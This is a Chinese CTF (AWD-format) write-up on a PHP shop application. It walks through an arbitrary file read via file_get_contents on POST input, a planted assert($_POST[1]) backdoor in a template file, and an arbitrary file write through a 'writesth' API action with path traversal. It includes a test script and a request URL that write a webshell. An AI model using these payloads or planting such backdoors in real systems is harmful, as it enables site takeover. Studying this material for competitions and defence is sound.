拿别人比赛的来玩一下,或许这就是菜的力量吧。
0x01 任意文件读取:
1 switch ($row['media_type']) { 2 case 0: // 图片广告 3 ...... 4 break; 5 case 2: // CODE 6 $ads[] = $row['ad_code']; 7 break; 8 case 3: // TEXT 9 $ads[] = "<a href='" . url('default/affiche/index', array('ad_id' => $row['ad_id'], 'uri' => urlencode($row["ad_link"]))) . "' 10 target='_blank'>" . htmlspecialchars($row['ad_code']) . '</a>'; 11 break; 12 case 4: // url 13 $ads[] = file_get_contents($_POST['url']); 14 }
至于调用这个的具体的代码没有发出来所以具体的调用链也没办法写出来,只能简单复现一下。
其实这个测试就不用测试了,太low了可能只是调用链的问题,不然没有难度。
看文章里的URL调用链是这样的
https://192.168.37.180/match/WAR20/oapi?atn=answers&token=RCNWBJXQ&flag=%s
需要switch 4的时候才出发漏洞。这里分享一个tips可以通过功能去找到调用链。不用再一个去拼接URL,可能对于我这样的菜鸡还是有点难度。
0x02 官方后门
官方提示auction_list.dwt文件
然后通过sublime快速索引这个文件。得到如下文件。
<div class="con">{:assert($_POST[1])}找到一个马
至于怎么利用很尴尬,具体文件没发出来,很蛋疼。对了,这个是dwt文件,经过百度科普dwt是网页模板文件。
0x03 任意文件写入mobile/api/uc.php
有那么一个action数组
1 if (in_array($get['action'], array( 2 'test', 3 'deleteuser', 4 'renameuser', 5 'gettag', 6 'synlogin', 7 'synlogout', 8 'updatepw', 9 'updatebadwords', 10 'updatehosts', 11 'updateapps', 12 'updateclient', 13 'updatecredit', 14 'getcreditsettings', 15 'updatecreditsettings', 16 'writesth' 17 )))
作者说一眼就看穿了writesth是官方留下的后门,或许这就是优秀吧。
我是看不出来。
然后找到了这个函数。
function writesth($get, $post){ $cachefile = $this->appdir .$get['name']; $fp = fopen($cachefile, 'w'); $s = "<?phprn"; $s .= $get['content']; fwrite($fp, $s); fclose($fp); return API_RETURN_SUCCEED; }
然后很明显可以看出文件名以及内容都是可控的,但是文件名多了一个$this->appdir。这个无碍,可以通过/../进行跨目录。
然后写了一个测试的代码:
<?php class test { function writesth($get){ $cachefile = "xx".$get['name']; $fp = fopen($cachefile, 'w'); $s = "<?phprn"; $s .= $get['content']; fwrite($fp, $s); fclose($fp); echo "success"; } } $data = new test(); $data ->writesth(array("name"=>"/../shell.php","content"=>"><?php echo 'this is webshell';?>")); ?>
在写shell的时候需要对<?phprn闭合。
什么?怎么写批量脚本?你看哪里有使用到writesth到的不就OK。还是不会写???
就这样:1270.0.1/index.php?id=t.php?id[name]=./../shell.php&id[content]=?><?php echo "this is phpshell"?>
0x04 一些SQL注入
注入感觉在AWD中玩的并不是那么顺,大多数应该都是报错型的。套路也就那几个。